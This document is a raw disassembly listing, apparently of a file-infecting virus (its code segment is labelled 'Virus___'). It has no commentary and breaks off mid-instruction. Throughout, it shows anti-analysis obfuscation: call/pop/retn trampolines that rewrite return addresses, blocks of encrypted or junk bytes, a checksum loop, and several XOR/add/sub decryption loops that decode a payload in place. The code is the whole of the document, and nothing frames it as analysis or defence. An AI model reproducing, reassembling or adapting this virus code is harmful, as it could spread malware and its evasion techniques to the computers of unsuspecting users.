0BD8BFE07h, 71B0CD1h, 0E299589h, 0E9F8071Bh, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+71EFBFEh] push 0 push eax call sub_583005 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_583005 proc near ; CODE XREF: Virus___:00582FFDp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_583005 endp ; --------------------------------------------------------------------------- db 0E1h, 9Bh, 11h ; --------------------------------------------------------------------------- stc imul ebp, [ecx], 6A755381h add [esi-7Fh], ah fild word ptr [ebx-766A0093h] adc bl, [ebx] pop es jo loc_583037 or ebx, [ebp+71B1475h] loc_583037: ; CODE XREF: Virus___:0058302Bj mov ecx, 8D3h push 0 push eax call sub_583047 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_583047 proc near ; CODE XREF: Virus___:0058303Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_583047 endp ; --------------------------------------------------------------------------- mov esp, 8589784Eh shr dword ptr [edx], 1 sbb eax, [edi] and ecx, 0FFFFFFFCh cld push 0 push eax call sub_58306F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58306F proc near ; CODE XREF: Virus___:00583067p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_58306F endp ; --------------------------------------------------------------------------- db 0CDh dd 66CDEDB0h, 0BF7C2ABFh, 44BFB9Fh, 0B8h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8B6628EDh, 0BADFh, 9D2B0000h, 71B296Dh, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 1C35040h, 0A995CEC2h, 9D234436h, 71B2329h dd 0FE9h, 0E94D6B00h, 0C6F964F7h, 88D4749Dh, 5D5B743Ah dd 880Dh, 94CF8100h, 8B6C0F4Eh, 1B29B595h, 6860F07h, 89000000h dd 1B03F1BDh, 0F58D8B07h, 6A071B02h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0C5D2C357h dd 60ED9E28h, 61C3BF0Fh, 1EE9BD8Bh, 8B50071Bh, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0F9C35545h, 474C76C9h, 28E0F95h dd 8B000000h, 0CE9D9h, 3B860000h, 1D4FBDBh, 46DC1F06h dd 6A76ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 957610C3h, 0F5216921h, 0BF0F5E57h, 0F88B66DEh dd 2165BD83h, 0F00071Bh, 6D84h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0B8983311h dd 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0AFCD3E35h, 119D2914h, 8D071B2Ah dd 1B4F898Dh, 8B66F507h, 0E9E1FFF8h, 12h, 8359B9F8h, 56A42D83h dd 0B3D25A05h, 752C8061h, 0BD8388A3h, 71B18CDh, 80840F00h dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 6171C356h, 0C13A4FD6h, 0B1858966h dd 0E9071B0Bh, 0Bh, 8D19A2DFh, 2EA2F237h, 835F317Ah, 1B18CDBDh dd 840F0107h, 456h, 6850Fh, 0BD8B0000h, 71B16B1h, 18CDBD83h dd 0F03071Bh, 40786h, 0DAB70F00h, 8D0Fh, 0F600000h, 8C66DFBFh dd 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 6800F24h, 89000000h, 1B299D9Dh, 8A0F5707h dd 6, 0FB0FCB81h, 805B079Ch, 6A04E1h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0B3A9D8C3h dd 0BE7E8C66h, 0FE8B6657h, 0FC90A5Bh, 10384h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 8DC33C50h, 0BF0FF149h, 0E5858BF8h, 0F5071B30h, 30558533h dd 6A071Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 40938FC3h, 89502E87h, 6A2404h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 6689B1C3h dd 6ADE8Bh, 68FFB70Fh, 49C4A058h, 0A7243481h, 6A49DBA3h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0DA5C355h, 0D206CA5Ah, 5805087h, 4E995FFh dd 0E860071Bh, 6, 0A405A0EBh, 8166042Eh, 59D928C3h, 1C118503h dd 8961071Bh, 1EABC885h, 0E99D8B07h, 0E9071B29h, 231h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 65C35040h dd 4B3F7781h, 858924A4h, 71B27D9h, 0ABC0858Bh, 6A071Eh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0DAC72DC3h, 0BF6606CBh, 5B52E638h, 1800C7h, 0BD890000h dd 71B1869h, 0ABC4B58Bh, 6A071Eh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 14166AC3h, 0F632D109h dd 49858B15h, 9071B01h, 1B267585h, 6A068907h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 84CAC353h, 89340971h, 1B243DBDh, 0D59D8B07h, 8B071B22h dd 1B30E585h, 8E807h, 31820000h, 0C197EF77h, 9D89B5D9h dd 71B3169h, 58E0F5Bh, 66000000h, 0E26ECB81h, 6A044689h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0DEA9C355h, 35699D0Bh, 9D8B071Bh, 71B3501h dd 0F525096h, 28C0F31h, 57000000h, 50585A5Bh, 9E9h, 2F0D3800h dd 2F8B40E7h, 8B961095h, 0C0B5FFD8h, 0E9071EABh, 7, 0BD3C6A25h dd 0E826D72Fh, 4, 1F03FFh, 10E850h, 0A7C50000h, 9CF11F91h dd 9842249h, 9C58C8E1h, 5250D5E6h, 6B07BB66h, 12E9310Fh dd 0FD000000h, 0A735F3DFh, 641D2181h, 0DFCAAD6Fh, 0F81A3066h dd 5F585ADCh, 424448Bh, 0DF8B5250h, 8B66310Fh, 8B585AF9h dd 1CBF6600h, 24448976h, 0CE95004h, 0E1000000h, 5902C13Eh dd 0EEEB2706h, 5B073E2Fh, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 8017BF15h dd 858D17C2h, 71EABC8h, 0F99D8Bh, 0BF90071Bh, 683E0335h dd 0BD2B9050h, 71B00D1h, 0DF2DC781h, 95FF5CD3h, 71B04E9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 79C35747h dd 350D8D89h, 0EE9071Bh, 63000000h, 0A287C417h, 0E44BFF71h dd 0D35CECBFh, 6A61B7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 8CC5FEC3h, 66A12667h, 33B727D2h dd 1B1925BDh, 0CD85C707h, 3071B18h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 702CC356h, 0BC4D64CBh, 86238199h, 6860Fh, 0BD8B0000h dd 71B25BDh, 0ABC8BD83h, 0F00071Eh, 0F84h, 0D2BB6600h dd 21E910h, 9D010000h, 71B15A5h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 51DCC353h, 5FD8BF0Fh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D3C35242h dd 8B6607B1h, 0CDBD83F8h, 3071B18h, 444850Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0A57D25C3h, 3CFF8C3Dh, 83BEC560h, 1EABC8BDh, 840F0007h dd 412h, 1ED5BD8Bh, 0B5FF071Bh, 71EABC8h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 59C35242h, 0EA7D08E6h dd 0E3ABF9B3h, 13E9h, 0DCB16600h, 0E8935790h, 7338FA16h dd 0EB316Eh, 4341A007h, 233D9D8Bh, 95FF071Bh, 71B09A5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 63C35343h dd 6218CF86h, 0B25D74E4h, 34119589h, 0B58B071Bh, 71EABBCh dd 0D4C3EB81h, 0B5010C9Ch, 71B1B59h, 106C7h, 95010001h dd 71B298Dh, 0E8BCBF96h, 8B503A5Ah, 6A96FEh, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 9D8BDFC3h dd 71B2E91h, 0ABC8B5FFh, 6A071Eh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0EFDF49C3h, 1381E92Fh dd 12E95Ch, 0B4E10000h dd 115BB830h, 11242739h, 44B6684Ch, 3E8CA6BAh, 356195FFh dd 8B66071Bh, 0BCB58BD9h, 0E9071EABh, 12h, 39CD7813h, 67A3BA6Bh dd 6BAB2107h, 886B377Ch, 858B381Bh, 71B0411h, 9059D8Bh dd 8689071Bh, 0C4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 42C35747h, 8B660D41h, 0B5958BF9h, 66071B29h dd 8399E7BBh, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0EC1CFFC3h, 0F2BF4A0Bh, 0C38044BAh dd 205089E2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 5EC35343h, 0F51DEFFh, 0E9C96D77h, 7, 0F930DBD2h dd 8D26A27Ah, 1EBFF985h, 8BD98B07h, 1B2A699Dh, 0B8868907h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0E306C353h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 22BCE0C3h dd 0B5FF24F9h, 71EABC8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 87C35343h, 83F4191Bh, 0F4346E2Ch, 68E0FBCh dd 81000000h, 0E43958D3h, 0DD95FF0Ah, 6A071B09h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0BE5AC353h, 2012AF5Bh, 0BD334350h, 71B117Dh, 50F98B96h dd 0E13BBB66h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0D8B1AAF0h, 52B77EEEh dd 0ABC8B5FFh, 6A071Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 8DA54DC3h, 0DABF0F0Bh, 34195FFh dd 0CE8071Bh, 0B3000000h, 0EE2793C4h, 0D44CBDB3h, 29732D60h dd 1B04C1BDh, 0BD835F07h, 71B2431h, 5D840F00h, 8A000000h dd 890F96D8h, 19h, 11E8h, 0EB1C8C00h, 9BF6500Dh, 3C8384CCh dd 0CE08C104h, 0F88AE523h, 0CE9505Fh, 0FC000000h, 35F4BBC2h dd 0B77528F2h, 9615ABBBh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 58C35646h, 0BF66A4C0h, 0F781E46Eh, 1358CA35h dd 0ABC8B5FFh, 6A071Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0C6B190C3h, 840Fh, 95FF0000h, 71B18A5h dd 0FF10F380h, 1EABC8B5h, 0AD853107h, 0F5071B2Ch, 293D95FFh dd 7E8071Bh, 0E0000000h, 476F9EDAh, 335369DEh, 1B176D9Dh dd 835F5F07h, 1B28F1BDh, 840F0207h, 3Bh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 14h, 34C35343h, 353DBD8Bh dd 858B071Bh, 71B007Dh, 0C01BD2Bh, 9531071Bh, 71B1F0Dh dd 660000C6h, 0C71FC7BFh, 1B099185h, 7, 0D88B6600h, 12FD8529h dd 0ADE9071Bh, 51FFFFF2h, 0FD852951h, 5F071B1Eh, 8BC18B5Fh dd 1B0BB1BDh, 55858D07h, 6A071B12h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0CCFEC350h dd 0E4047199h, 519D8BA6h, 50071B23h, 489D88Ah, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0CB81D885h, 5DA73A98h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 9539BFC3h, 0E103567Ah dd 8D006A82h, 1F8C4385h, 0ABBF6607h, 5C083F5h, 50FBBF0Fh dd 10E8h, 0E7575400h, 913EB178h, 0EB942670h, 78D6925h dd 0DE9A7h, 7F5C0000h, 0EA28D1BFh, 82A580B0h, 5BA2B923h dd 0F240489h, 6AD8BFh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 7C35242h, 0C88C9817h, 8965169Dh, 1B1C09BDh dd 66006A07h, 0A359E781h, 1EA995FFh, 6A071Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 2B10C9C3h dd 8B58353Ah, 1B03299Dh, 9C8D8D07h, 89071E97h, 1B24E5B5h dd 6AD1FF07h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 33ECC353h, 6F6D1505h, 5BD83DCh dd 1071B21h, 0A3850Fh, 68BB0000h, 297AEC7Ch, 1B00B585h dd 6A026A07h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 536FC357h, 49BB908Bh, 507930C1h dd 0AE8h, 0AE150C00h, 0BD84161Ah, 661819A7h, 905FDE8Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 81C35747h dd 0EE05626Bh, 60B987E1h, 6FC78166h, 0A4DE8022h, 0DD95FF61h dd 6A071B09h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 8446C356h, 0A15F59EDh, 419BD89h dd 0B70F071Bh, 0F18E9DFh, 0E80000h, 5D000000h, 8C4DED81h dd 6A071Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0D6196C3h, 0C99D03DEh, 8B071B17h, 1B12059Dh dd 0AE807h, 1C6A0000h, 1487D669h, 3CBAFA88h, 30519D89h dd 8D5B071Bh, 1E920285h, 0FAB70F07h, 13E990h, 68920000h dd 1C77B88Ch, 84C67EE4h, 0D151686Dh, 1BC1C92Ah, 0B76050C3h dd 5A59B966h, 90610B52h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 29C35646h, 0FE8B1h, 0A830000h, 9A01E0EFh dd 6820FA6Eh, 0DEC7E4Ah, 32BB663Bh, 0FF645F10h, 35h, 645F5600h dd 2589h, 870F0000h, 0Bh, 0D68B6660h, 27A1BD89h, 0FF61071Bh dd 1B264D85h, 85BD0907h, 6A071B1Ah, 57006AFFh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8BAFDC96h dd 1B28D99Dh, 89B5FF07h, 6A071B25h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0A938C357h dd 0BD8B5753h, 71B0D19h, 4595FF5Bh, 0E9071B2Fh, 129h, 49858960h dd 81071B2Fh, 0FEE3FED7h, 0B0614Ch, 16899D8Bh, 70E6071Bh dd 59D8509h, 71E4071Bh, 0C119589h, 613C071Bh, 0FB830Fh dd 0CE90000h, 21000000h, 7B1C3C3Bh, 0ECC95FB1h, 0F2EEAC6h dd 0FF9C8B6h, 0C89h, 6810F00h, 29000000h, 1B27259Dh, 6BA07h dd 9D8B0000h, 71B2221h, 0BF0FC18Bh, 4E8C1FEh, 0A1B589F8h dd 66071B23h, 0BF0FE2F7h, 0E9C82BDAh, 0Fh, 28853519h, 0C5C9F65Eh dd 3F75201Dh, 8BB6AE79h, 31BD8BD1h, 0E9071B1Fh, 6, 13DBD8Bh dd 858B071Bh, 71B09C9h, 619D8BF5h, 83071B30h, 8C0F07C0h dd 6, 3271BD8Bh, 0CE9071Bh, 14000000h, 1D5EB118h, 0F80B2A8Bh dd 83D4F147h, 7E900C0h, 0F000000h, 0B73336BEh, 0D03BC819h dd 0B830Fh, 42E90000h, 89000000h, 1B2B41BDh, 918D8B07h dd 33071B0Ah, 1B160DBDh, 1E18307h, 27840Fh, 0B70F0000h dd 91A583FBh, 0FE071B0Ah, 1B4FBB66h, 499D0960h, 61071B11h dd 9C99589h, 0BD8B071Bh, 71B18D9h, 0E9h, 99B58D00h, 6A071F06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 157EC355h, 0B9188CC8h, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0CA0A14C3h dd 0E34262D6h, 0CE944h, 0AA8F0000h, 7D1E96B6h, 41F6C650h dd 95FF8879h, 71B1289h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Dh, 74C35343h, 635E5F90h dd 80C02D2h, 0CB816653h, 0D2B9F758h, 6A000007h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 1A85C353h, 1FCE6CBBh, 53198014h, 12B18509h, 0E183071Bh dd 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 139E763Bh, 6AFC6F53h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 1914C352h dd 0D5FD63FFh, 0B81B2B0Fh, 0 ; --------------------------------------------------------------------------- mov ebx, [ebp+71B144Dh] mov edx, 0 push 0 push esi call sub_584136 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584136 proc near ; CODE XREF: Virus___:0058412Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_584136 endp ; --------------------------------------------------------------------------- sbb esi, eax cmp eax, 9A18572Fh mov tr3, ecx loc_584150: ; CODE XREF: Virus___:0058415Aj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_584150 push 0 push esi call sub_584167 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584167 proc near ; CODE XREF: Virus___:0058415Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi loc_58416C: ; CODE XREF: Virus___:00584177j add [esp-4+arg_4], 16h inc esi push esi retn sub_584167 endp ; --------------------------------------------------------------------------- jbe short loc_58416C and ah, [eax-75h] mov ebp, 71B15D9h sbb ecx, 39D0A7FBh popa mov [ebp+71B235Dh], esi or eax, 88h push 0 push edx call sub_58419E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58419E proc near ; CODE XREF: Virus___:00584196p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_58419E endp ; --------------------------------------------------------------------------- dw 3B73h dd 0F781F636h, 18F2BB35h, 29B5958Bh, 13E8071Bh, 0E2000000h dd 9D1F4D19h, 56116E93h, 0D1F01068h, 2004BDBBh, 60525B12h dd 8B5B5F61h, 1B02F58Dh, 0FE807h, 109D0000h, 9F95ACDFh dd 0E5FC40E2h, 68AA81EEh, 5F70B3F4h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 85095818h, 71B30E9h, 47A3F781h dd 0BD837DABh, 71B2165h, 6E840F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 3C8C357h, 334E99F3h, 23CBB14Fh, 1B23819Dh, 0B807h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0CF1DFAC3h, 6FDBBF29h, 0F585FBAh, 0BF0FFEB7h, 898D8DD9h dd 8B071B4Fh, 1B09599Dh, 89E1FF07h, 1B19398Dh, 0CDBD8307h dd 71B18h, 48E840Fh, 85890000h, 71B00C5h, 18CDBD83h, 0F01071Bh dd 49684h, 58E0F00h, 0BF000000h, 555B17A9h, 18CDBD83h dd 0F03071Bh, 44886h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 741FCBCh, 0E1BD8B6Bh dd 60071B21h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 55C35747h, 6E5AA921h, 0B509C8BAh, 71B213Dh, 0E8D98C66h dd 8, 46C2C98Dh, 0F5F0B421h, 6D9D8B57h, 5B071B0Dh, 4E1805Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 92C35747h dd 2DB2D020h, 624516BDh, 8B66A0B3h, 0FC90AFEh, 0FF84h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 8B33D49Dh, 1B30E585h, 8533F807h, 71B3055h dd 6840Fh, 0DF810000h, 7232C9E1h, 0F905090h, 689h, 0FDBD8B00h dd 6A071B24h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 9D8B9032h, 71B02EDh, 4E8h, 1F03FF00h dd 3941BB00h, 0BF5044E3h, 612B20FAh, 424448Bh, 820Fh, 8B0000h dd 9E8h, 77173C00h, 0E90BA105h, 0F605535h, 85h, 9E800h dd 583A0000h, 0CDEA0FEh, 5E5E9104h, 44895B61h, 0E8560424h dd 6, 5E8D7698h, 8B0FBA81h, 0 ; --------------------------------------------------------------------------- pop ebx pop edi pop eax mov [ebp+71B3409h], edi call dword ptr [ebp+71B04E9h] mov [ebp+71B0E25h], ecx mov [ebp+71EABC8h], eax jg loc_584459 jns loc_584459 or edi, 1AFBCA76h loc_584459: ; CODE XREF: Virus___:00584447j ; Virus___:0058444Dj jmp loc_58465A ; --------------------------------------------------------------------------- sub [ebp+71B298Dh], esi mov eax, [ebp+71EABC0h] push 0 push edx call sub_584475 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584475 proc near ; CODE XREF: Virus___:0058446Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_584475 endp ; --------------------------------------------------------------------------- db 20h, 1Bh, 10h dd 0C7D17C6Dh, 1800h, 13E800h, 0A7470000h, 702F0003h, 85499974h dd 873CF4B4h, 2C72066Ah, 12E9CFh, 0B9B10000h, 0FC75F730h dd 2E55EDC8h, 6E88082Bh, 49BD9E78h, 0C4B58B5Fh, 6A071EABh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0C5F9C356h, 0EB4B44CDh, 2C99BD01h, 8166071Bh dd 8B8CBECBh, 1B014985h, 0B5853107h, 89071B09h, 0DBD3306h dd 8B071B28h, 1B30E585h, 319D8B07h, 89071B06h, 0E8960446h dd 8, 1BA6E3C4h, 0CFC0696Eh, 12860Fh, 0CE80000h, 0F2000000h dd 317A2EA2h, 4413495Fh, 5F63BF41h, 8B96505Bh, 0C0B5FFF8h dd 6A071EABh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0C2E3C356h, 0EFF9AFE8h, 4E819h dd 3FF0000h, 13E9001Fh, 5A000000h, 3AA3DFEDh, 60A666FDh dd 0B3FE3D8Fh, 6EF1214Dh, 53502867h, 11E9h, 7809AD00h dd 0F3992E73h, 0C3492FCFh, 54AC3008h, 8B5B88B6h, 8B042444h dd 60008BD9h, 66530BB3h, 59096EB9h, 24448961h, 4840F04h dd 66000000h, 583555BFh, 24619D8Bh, 858D071Bh, 71EABC8h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 34C35242h dd 8B4D68E9h, 1B2A5DBDh, 52505007h, 0C8614BFh, 8B310F1Ch dd 89585AFAh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 427D9C3h, 95FFF8C2h, 71B04E9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 2FC35343h, 8957D6B9h dd 293B1CFCh, 49BD3153h, 0F071B0Eh db 0BFh, 0DBh ; --------------------------------------------------------------------------- loc_58465A: ; CODE XREF: Virus___:loc_584459j popa push 0 push edi call sub_584666 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584666 proc near ; CODE XREF: Virus___:0058465Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_584666 endp ; --------------------------------------------------------------------------- sbb ebp, [eax+7Fh] sub ebp, [ebx-4] pushaw mov bx, si popa mov dword ptr [ebp+71B18CDh], 3 push 0 push eax call sub_584697 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584697 proc near ; CODE XREF: Virus___:0058468Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_584697 endp ; --------------------------------------------------------------------------- db 0B6h ; --------------------------------------------------------------------------- mov bl, 7Ch cmp dword ptr [ebp+71EABC8h], 0 jz loc_584711 push 0 push esi call sub_5846C2 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5846C2 proc near ; CODE XREF: Virus___:005846BAp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5846C2 endp ; --------------------------------------------------------------------------- dw 982Ah dd 0F242229h, 686h, 719D2B00h, 0E9071B09h, 44h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D7C35242h, 94416B5Eh dd 29BC78ACh, 1B2B6185h ; --------------------------------------------------------------------------- pop es loc_584711: ; CODE XREF: Virus___:005846B1j ; Virus___:00584728j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_584711 jmp short loc_584762 ; --------------------------------------------------------------------------- loc_58472C: ; CODE XREF: Virus___:00584743j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_58472C jmp short loc_584762 ; --------------------------------------------------------------------------- loc_584747: ; CODE XREF: Virus___:0058475Ej push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_584747 jmp short $+2 loc_584762: ; CODE XREF: Virus___:0058472Aj ; Virus___:00584745j mov eax, eax mov edi, [ebp+71B1775h] push 0 push ebx call sub_584775 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584775 proc near ; CODE XREF: Virus___:0058476Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_584775 endp ; --------------------------------------------------------------------------- db 0E2h, 57h, 0F5h ; --------------------------------------------------------------------------- sub eax, 0CDBD83F6h sbb [ebx], bl pop es add ecx, [edi] test [esp+eax+6A0000h], edi push ebx call sub_5847A2 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5847A2 proc near ; CODE XREF: Virus___:0058479Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5847A2 endp ; --------------------------------------------------------------------------- dw 2959h ; --------------------------------------------------------------------------- cmp dword ptr [ebp+71EABC8h], 0 jz loc_584C53 push 0 push ecx call sub_5847CC and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5847CC proc near ; CODE XREF: Virus___:005847C4p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5847CC endp ; --------------------------------------------------------------------------- and al, 43h add al, 0DEh mov [ebx+ecx*4], dl xor ebp, 0FFFFFFE1h jmp loc_5847FE ; --------------------------------------------------------------------------- db 9Ah dd 0A3A39605h, 86DC5F5Eh, 0C9F333B2h, 8F9FD838h db 82h, 0F5h ; --------------------------------------------------------------------------- loc_5847FE: ; CODE XREF: Virus___:005847E6j mov [ebp+71B2405h], ebx push dword ptr [ebp+71EABC8h] push 0 push ecx call sub_584815 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584815 proc near ; CODE XREF: Virus___:0058480Dp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_584815 endp ; --------------------------------------------------------------------------- sbb [ebp-42B3CB1Ah], bl aas icebp mov esp, 16A1BD8Bh sbb eax, [edi] call dword ptr [ebp+71B09A5h] cmc mov esi, [ebp+71EABBCh] mov 